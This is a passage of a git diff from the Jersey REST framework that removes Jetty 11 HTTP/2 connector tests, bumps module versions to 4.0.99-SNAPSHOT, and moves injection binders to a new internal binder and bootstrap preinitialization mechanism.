-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
-
-        int start = 150;
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(ClientProperties.READ_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("start", start)
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-            fail("This operation should trigger idle timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
deleted file mode 100644
index 4bf0bda..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
+++ /dev/null
@@ -1,228 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
-        try {
-            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getJettyClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 29efcba..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.ClientConfig;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider()));
-        final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-
-    @Test
-    public void testGetProvidedClientInstance() {
-        final HttpClient httpClient = new HttpClient();
-        final ClientConfig clientConfig = new ClientConfig()
-                .connectorProvider(new JettyHttp2ConnectorProvider())
-                .register(new JettyHttp2ClientSupplier(httpClient));
-        final Client client = ClientBuilder.newClient(clientConfig);
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target);
-
-        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
-                httpClient, is(hcOnTarget));
-    }
-}
\ No newline at end of file
diff --git a/connectors/jnh-connector/pom.xml b/connectors/jnh-connector/pom.xml
index ff66ae1..b97578c 100644
--- a/connectors/jnh-connector/pom.xml
+++ b/connectors/jnh-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.connectors</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml
index c5d4593..c3932dc 100644
--- a/connectors/netty-connector/pom.xml
+++ b/connectors/netty-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-netty-connector</artifactId>
diff --git a/connectors/pom.xml b/connectors/pom.xml
index af03399..90347a3 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.connectors</groupId>
@@ -34,14 +34,12 @@
     <description>Jersey client connection providers umbrella project module</description>
 
     <modules>
-        <module>apache-connector</module>
         <module>apache5-connector</module>
         <module>grizzly-connector</module>
         <module>helidon-connector</module>
         <module>jdk-connector</module>
         <module>jetty-connector</module>
         <module>jetty-http2-connector</module>
-        <module>jetty11-connector</module>
         <module>jnh-connector</module>
         <module>netty-connector</module>
     </modules>
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml
index f7fea77..a81ca23 100644
--- a/containers/glassfish/jersey-gf-ejb/pom.xml
+++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers.glassfish</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gf-ejb</artifactId>
diff --git a/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java b/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
index 6e7ffbd..550ee26 100644
--- a/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
+++ b/containers/glassfish/jersey-gf-ejb/src/main/java/org/glassfish/jersey/gf/ejb/internal/EjbComponentProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -50,11 +50,10 @@
 import javax.naming.InitialContext;
 import javax.naming.NamingException;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.model.Invocable;
 import org.glassfish.jersey.server.spi.ComponentProvider;
@@ -152,7 +151,7 @@
     public void initialize(final InjectionManager injectionManager) {
         this.injectionManager = injectionManager;
 
-        InstanceBinding<EjbComponentProvider> descriptor = Bindings.service(EjbComponentProvider.this)
+        Binding descriptor = Bindings.service(EjbComponentProvider.this)
                 .to(ResourceMethodInvocationHandlerProvider.class);
         this.injectionManager.register(descriptor);
     }
@@ -304,7 +303,7 @@
     }
 
     private void registerEjbExceptionMapper() {
-        injectionManager.register(new AbstractBinder() {
+        injectionManager.register(new InternalBinder() {
             @Override
             protected void configure() {
                 bind(EjbExceptionMapper.class).to(ExceptionMapper.class).in(Singleton.class);
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml
index 7f87c01..28b85cd 100644
--- a/containers/glassfish/pom.xml
+++ b/containers/glassfish/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers.glassfish</groupId>
diff --git a/containers/grizzly2-http/pom.xml b/containers/grizzly2-http/pom.xml
index 580997b..796403e 100644
--- a/containers/grizzly2-http/pom.xml
+++ b/containers/grizzly2-http/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-grizzly2-http</artifactId>
@@ -111,6 +111,7 @@
                     <instructions>
                         <Import-Package>
                             org.glassfish.grizzly.*;version="[3.0,5.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -145,30 +146,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <pluginManagement>
-                    <plugins>
-                        <plugin>
-                            <artifactId>maven-compiler-plugin</artifactId>
-                            <executions>
-                                <execution>
-                                    <id>default-testCompile</id>
-                                    <configuration>
-                                        <skip>true</skip>
-                                    </configuration>
-                                </execution>
-                            </executions>
-                        </plugin>
-                    </plugins>
-                </pluginManagement>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java
new file mode 100644
index 0000000..e521c8b
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyBootstrapPreinitialization.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public final class GrizzlyBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new GrizzlyHttpContainer.GrizzlyBinder());
+    }
+}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
index 33d3770..f86e909 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,8 @@
 import jakarta.inject.Provider;
 
 import org.glassfish.jersey.grizzly2.httpserver.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -118,19 +119,23 @@
      * the injection of Grizzly request instance into singleton JAX-RS and Jersey providers is only supported via
      * {@link jakarta.inject.Provider injection provider}.
      */
-    static class GrizzlyBinder extends AbstractBinder {
+    static class GrizzlyBinder extends InternalBinder {
 
         @Override
         protected void configure() {
             bindFactory(GrizzlyRequestReferencingFactory.class).to(Request.class)
-                    .proxy(false).in(RequestScoped.class);
+                    .proxy(false).in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_REQUEST_REFERENCING_FACTORY.id());
             bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_REQUEST.id());
 
             bindFactory(GrizzlyResponseReferencingFactory.class).to(Response.class)
-                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                    .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_RESPONSE_REFERENCING_FACTORY.id());
             bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
-                    .in(RequestScoped.class);
+                    .in(RequestScoped.class)
+                    .id(InjectionIds.GRIZZLY_RESPONSE.id());
         }
     }
 
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..a5be574
--- /dev/null
+++ b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.grizzly2.httpserver.GrizzlyBootstrapPreinitialization
\ No newline at end of file
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml
index c8551f1..419160e 100644
--- a/containers/grizzly2-servlet/pom.xml
+++ b/containers/grizzly2-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-grizzly2-servlet</artifactId>
@@ -70,8 +70,9 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             org.glassfish.grizzly.*;version="[3.0,5.0)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml
index 4416cf4..890b930 100644
--- a/containers/jdk-http/pom.xml
+++ b/containers/jdk-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jdk-http</artifactId>
diff --git a/containers/jersey-servlet-core/pom.xml b/containers/jersey-servlet-core/pom.xml
index 14d4249..f2dcdef 100644
--- a/containers/jersey-servlet-core/pom.xml
+++ b/containers/jersey-servlet-core/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet-core</artifactId>
@@ -42,6 +42,8 @@
         <dependency>
             <groupId>jakarta.persistence</groupId>
             <artifactId>jakarta.persistence-api</artifactId>
+            <scope>provided</scope>
+            <optional>true</optional>
         </dependency>
         <dependency>
             <groupId>jakarta.inject</groupId>
@@ -71,8 +73,9 @@
                         <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
                         <Import-Package>
                             jakarta.persistence.*;resolution:=optional,
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                         <Export-Package>org.glassfish.jersey.servlet.*</Export-Package>
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
new file mode 100644
index 0000000..4f030ce
--- /dev/null
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/ServletBootstrapPreinitialization.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.servlet;
+
+import jakarta.inject.Singleton;
+import jakarta.servlet.FilterConfig;
+import jakarta.servlet.ServletConfig;
+import jakarta.servlet.ServletContext;
+import jakarta.ws.rs.RuntimeType;
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.servlet.internal.PersistenceUnitBinder;
+
+import java.lang.reflect.Proxy;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.List;
+
+public class ServletBootstrapPreinitialization implements BootstrapPreinitialization {
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        if (RuntimeType.SERVER == runtimeType) {
+            injectionManager.register(
+                    new WebComponent.WebComponentBinder(Collections.emptyMap(), new BootstrapWebConfig(), false));
+            injectionManager.register(new InternalBinder() {
+                @Override
+                protected void configure() {
+                    bindFactory(() -> (FilterConfig) null).to(FilterConfig.class).in(Singleton.class)
+                            .id(InjectionIds.SERVLET_FILTER_CONFIG.id());
+                }
+            });
+        }
+    }
+
+    private static class BootstrapWebConfig implements WebConfig {
+
+        @Override
+        public ConfigType getConfigType() {
+            return ConfigType.ServletConfig;
+        }
+
+        @Override
+        public ServletConfig getServletConfig() {
+            @SuppressWarnings("removal")
+            ClassLoader cl = java.security.AccessController.doPrivileged(ReflectionHelper.getClassLoaderPA(ServletContext.class));
+            return (ServletConfig) Proxy.newProxyInstance(cl, new Class[]{ServletConfig.class}, (proxy, method, args) -> {
+                switch (method.getName()) {
+                    case "getInitParameterNames":
+                        return BootstrapWebConfig.this.getInitParameterNames();
+                }
+                return null;
+            });
+        }
+
+        @Override
+        public FilterConfig getFilterConfig() {
+            return null;
+        }
+
+        @Override
+        public String getName() {
+            return null;
+        }
+
+        @Override
+        public String getInitParameter(String name) {
+            return null;
+        }
+
+        @Override
+        public Enumeration getInitParameterNames() {
+            return Collections.enumeration(WebComponent.isJPA()
+                    ? Collections.emptyList() : List.of(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX));
+        }
+
+        @Override
+        public ServletContext getServletContext() {
+            return null;
+        }
+    }
+}
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
index e6f5155..c2c5bf4 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -57,8 +57,9 @@
 import jakarta.servlet.http.HttpServletResponse;
 
 import org.glassfish.jersey.innate.io.InputStreamWrapper;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
@@ -163,9 +164,11 @@
         }
     }
 
-    private final class WebComponentBinder extends AbstractBinder {
+    static final class WebComponentBinder extends InternalBinder {
 
         private final Map<String, Object> applicationProperties;
+        private final WebConfig webConfig;
+        private final boolean requestResponseBindingExternalized;
 
         /**
          * Create binder for {@link WebComponent} passing a map of properties to determine whether certain features are allowed
@@ -174,8 +177,13 @@
          *
          * @param applicationProperties map of properties to determine whether certain features are allowed or not.
          */
-        private WebComponentBinder(final Map<String, Object> applicationProperties) {
+        /* package */ WebComponentBinder(
+                final Map<String, Object> applicationProperties,
+                final WebConfig webComponent,
+                final boolean requestResponseBindingExternalized) {
             this.applicationProperties = applicationProperties;
+            this.webConfig = webComponent;
+            this.requestResponseBindingExternalized = requestResponseBindingExternalized;
         }
 
         @Override
@@ -185,45 +193,62 @@
 
                 // request
                 bindFactory(HttpServletRequestReferencingFactory.class).to(HttpServletRequest.class)
-                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_REQUEST.id());
